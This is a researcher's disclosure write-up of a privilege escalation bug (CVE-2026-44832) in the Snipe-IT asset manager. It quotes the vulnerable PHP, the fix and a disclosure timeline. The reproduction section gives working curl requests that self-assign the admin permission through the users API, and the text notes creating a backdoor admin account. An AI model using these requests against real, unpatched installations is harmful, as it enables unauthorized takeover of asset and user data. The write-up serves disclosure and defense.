All posts
CVE-2026-44832
CVSS 8.3 · HIGH
CWE-269
Authenticated

When one missing unset() grants admin

How a single unset(‘superuser’) — with no equivalent for the admin key — let any user holding users.edit self-assign admin over the API and take full control of Snipe-IT ≤ 8.4.0.

Lorenzo Fradeani··~7 min read·GHSA-hq28-crg7-95pr
CVE-2026-44832 — Privilege escalation via API permissions in Snipe-IT

On May 5, 2026, GitHub Security Advisory GHSA-hq28-crg7-95pr published a vulnerability I reported in Snipe-IT, Grokability’s open-source asset management system (Laravel, ~11k GitHub stars). In versions ≤ 8.4.0, any authenticated user holding only the users.edit permission could self-assign the admin permission with a single PATCH /api/v1/users/{id} request, sidestepping the entire authorization model. The fix is in version 8.4.1.

The interesting part is not a forgotten capability but a partial protection: the developer carefully strips the superuser key from the permissions a non-superadmin can assign — but lets admin through, which in Snipe-IT is just as total. One extra unset() would have closed the hole.

A note on the score. The GitHub advisory rates severity High without publishing a numeric score. The CVSS 3.1 vector I assessed during analysis is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L = 8.3 (High), consistent with the vendor’s rating. The finding was credited publicly (independent co-reporter: 0xrdi).

Background: in Snipe-IT, admin bypasses every policy

Snipe-IT uses granular permissions built on Laravel Policies. The key point is the base policy SnipePermissionsPolicy, whose before() method short-circuits every resource-level check:

app/Policies/SnipePermissionsPolicy.php · before()
public function before(User $user, $ability, $item)
{
    if ($user->hasAccess('admin')) {
        return true; // admin → true for every ability, on every resource
    }
}

Anyone holding admin passes no further check: the policy returns true ahead of everything. In a system like this, the only question that matters to an attacker is: can I assign myself the admin key? Until 8.4.0, the answer was yes.

The block that strips a single key

The API UsersController handles inbound permissions like this, in both update() (lines 590–599) and store() (lines 450–458):

app/Http/Controllers/Api/UsersController.php · update(), lines 590–599
if ($request->has('permissions')) {
    $permissions_array = $request->input('permissions');

    // Strip out the individual superuser permission if the API user isn't a superadmin
    if (!auth()->user()->isSuperUser()) {
        unset($permissions_array['superuser']);
    }

    $user->permissions = $permissions_array;
}

Two flaws stack here. First: only superuser is removed; admin — and every other key — passes through unchecked. Second: this block sits outside the canEditAuthFields gate (lines 552–570), which guards password, username, email and activated. The only authorization needed to reach it is the check at line 535, $this->authorize(‘update’, $user), which verifies only users.edit.

This is the partial-protection pattern: some sensitive fields sit behind a gate, others — here the permissions, the most sensitive fields of all — were left outside it. Whenever a subset of fields is guarded by a middleware or gate, it always pays to verify that every dangerous field is covered.

The same gap in the web controller

It is not an API-only slip: the web controller replicates the pattern verbatim in its store() method, so that creating a user from the UI can forge an account with arbitrary permissions too:

app/Http/Controllers/Users/UsersController.php · store(), lines 123–128
$permissions_array = $request->input('permission');
if (! auth()->user()->isSuperUser()) {
    unset($permissions_array['superuser']);
}
$user->permissions = json_encode($permissions_array);

Reproduction

All it takes is an API token for a user with only users.view / users.edit / users.create (neither admin nor superuser). The diagnostic moment is the before/after state around a single PATCH:

bash
# 0. Before the exploit, asset access is denied
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
  -H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 403

# 1. Self-assign admin with a single request
curl -s -X PATCH http://TARGET/api/v1/users/ME_ID \
  -H "Authorization: Bearer ATTACKER_TOKEN" \
  -H "Accept: application/json" \
  --data-urlencode "permissions[users.view]=1" \
  --data-urlencode "permissions[users.edit]=1" \
  --data-urlencode "permissions[admin]=1" \
  | jq '.payload.permissions'
# { "users.view": 1, "users.edit": 1, "admin": 1 }

# 2. Same endpoint as before: now returns 200 — full access
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
  -H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 200

From there the attacker has read/write/delete over all assets, accessories, components, licenses, users, locations and reports — and can use the same store() to create a backdoor admin account for persistence. The only key it cannot self-assign is superuser, which is correctly stripped.

Why it’s a distinct CVE (not a duplicate)

Snipe-IT’s users endpoint has been touched by two other CVEs with different root causes. It’s worth keeping them apart:

  • CVE-2025-15602 — mass assignment of user attributes (e.g. email), patched in v8.3.7. Different root cause: profile fields, not permissions.
  • CVE-2026-38533 — ownership bypass of the canEditAuthFields gate (password, activated), different reporter.
  • CVE-2026-44832 (this one) — the permissions array, outside the gate, accepts the admin key because only superuser is stripped.

Disclosure timeline

DateEvent
2026-03-09Reported via email to security@snipeitapp.com (official channel per SECURITY.md)
2026-03-12Vendor confirms the fix on master and asks for a CVE ID
2026-04-07v8.4.1 released (fix) — initially with no CVE or advisory
2026-04-16CVE requested to complete attribution
2026-05-05GitHub Security Advisory GHSA-hq28-crg7-95pr published (CVE-2026-44832)
2026-05-06Credit accepted; this writeup published

Mitigation

Update to Snipe-IT 8.4.1 or later. In 8.4.1 the permissions normalization was refactored into a dedicated action (PreserveUnauthorizedPrivilegedPermissionsAction) that strips both privileged keys for unauthorized callers. The shape of the fix is this:

Shape of the fix (v8.4.1) — both privileged keys stripped
if (!auth()->user()->isSuperUser()) {
    unset($permissions_array['superuser']);
}

// Added: also strip 'admin' if the caller isn't already admin/superuser
if (!auth()->user()->hasAccess('admin') && !auth()->user()->isSuperUser()) {
    unset($permissions_array['admin']);
}

The design lesson is broader than the single unset(): an allow-list beats a deny-list. Stripping “the dangerous keys” you know about today leaves the ones you’ll add tomorrow exposed; explicitly permitting only the keys a caller may assign is robust to the permission set evolving. And the fields that decide privilege must be treated as the most sensitive of all — never as a branch left outside the authorization gate.

GitHub advisory and CVE record

GitHub Security Advisory published by the vendor (Grokability) with impact, affected versions, fix commits and credits. Official CVE record on cve.org.

Lorenzo Fradeani is an independent security researcher focused on vulnerability research and offensive security tooling. Available for AppSec collaborations and pentest engagements from Massa-Carrara and remote. Get in touch.

CVE-2026-44832 — Privilege escalation via API permissions assignment in Snipe-IT · Lorenzo Fradeani